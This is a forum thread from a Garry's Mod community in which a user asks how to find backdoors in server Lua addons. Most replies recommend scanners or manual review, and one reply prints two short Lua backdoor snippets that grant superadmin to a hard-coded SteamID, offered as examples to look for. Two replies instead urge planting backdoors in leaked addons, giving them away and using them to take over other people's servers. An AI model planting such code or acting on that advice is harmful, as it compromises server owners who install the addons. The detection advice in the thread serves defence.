Garry's Mod

How to find backdoors?

Submitted by ThatGuyz, , Thread ID: 166005

Thread Closed
07-04-2020, 07:42 AM
#1
Hello, i'm pretty new at this things and i don't know much about backdoors and things, i know they can destroy servers and such but what i want to know is where are backdoors usually located and how do they look like ?

RE: How to find backdoors?

#2
would also like to know. do you just run it through something like https://virusscan.jotti.org?

RE: How to find backdoors?

#3
using various Addons to search for backdoors in garrys mod

RE: How to find backdoors?

#4
try to get a script that could scan for backdoors other than that its not so easy

RE: How to find backdoors?

#5
you dont just find backdoors usually you shuold make your own plugins that have backdoors in them
then join the server and reek havoc

RE: How to find backdoors?

#6
You make backdoor or u leak one addon then put backdoor in it then give it for free if people use them u can go to their servers and make ur self even superadmin give everyone unlimited money exp whatever u want

RE: How to find backdoors?

#7
Well, use nomalua. It's free programme, and it will help you very, very much. Trust me.

RE: How to find backdoors?

#8
Use CPE to scan for backdoors, it tells you what file its in and what line its on so you can delete it.

RE: How to find backdoors?

#9
Hello ThatGuyz, backdoors can be located anywhere randomly in a .lua file. One of the best ways to make sure you do not have any backdoors is to run through each Lua file you've downloaded that was leaked or some free "premium" scripts that were given by a generous player. When you are looking through your Lua file look for something like this.

Code:
if ( ply:SteamID() == "STEAM_0:1:00000000") then  RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else

Code:
concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)

Backdoors are just your admin module and rcon commands being run through a .lua file. Seems pretty simple right? Usually, some people put backdoors in scripts that contain a lot of files. So that's when a backdoor scanner comes in. Some game servers have them as an option to be installed for free, some don't have them at all. There are some safe ones out there for free if I could find one I wouldn't mind helping you to find one. So basically at the end of the day, backdoors are nothing more than admin module commands (ulx, serverguard etc.) and rcon commands being run through a .lua file. And to easily remove a backdoor is just remove the line(s) of code! Hope that helped you!
[Image: T9B2tgy.png]

RE: How to find backdoors?

OP
#10
08-04-2020, 06:24 PM
Lakeey Wrote:
Hello ThatGuyz, backdoors can be located anywhere randomly in a .lua file. One of the best ways to make sure you do not have any backdoors is to run through each Lua file you've downloaded that was leaked or some free "premium" scripts that were given by a generous player. When you are looking through your Lua file look for something like this.

Code:
if ( ply:SteamID() == "STEAM_0:1:00000000") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else

Code:
concommand.Add( "Nestor", function(ply) if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)

Backdoors are just your admin module and rcon commands being run through a .lua file. Seems pretty simple right? Usually, some people put backdoors in scripts that contain a lot of files. So that's when a backdoor scanner comes in. Some game servers have them as an option to be installed for free, some don't have them at all. There are some safe ones out there for free if I could find one I wouldn't mind helping you to find one. So basically at the end of the day, backdoors are nothing more than admin module commands (ulx, serverguard etc.) and rcon commands being run through a .lua file. And to easily remove a backdoor is just remove the line(s) of code! Hope that helped you!
Thanks for taking your time explaining it for me, thank you very much

Users browsing this thread: 7 Guest(s)